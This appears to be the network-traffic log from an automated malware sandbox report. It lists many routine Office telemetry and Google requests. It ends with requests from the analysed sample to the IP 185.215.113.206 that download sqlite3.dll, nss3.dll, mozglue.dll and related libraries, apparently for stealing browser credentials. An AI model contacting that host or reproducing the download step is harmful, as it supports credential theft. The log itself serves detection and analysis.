Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

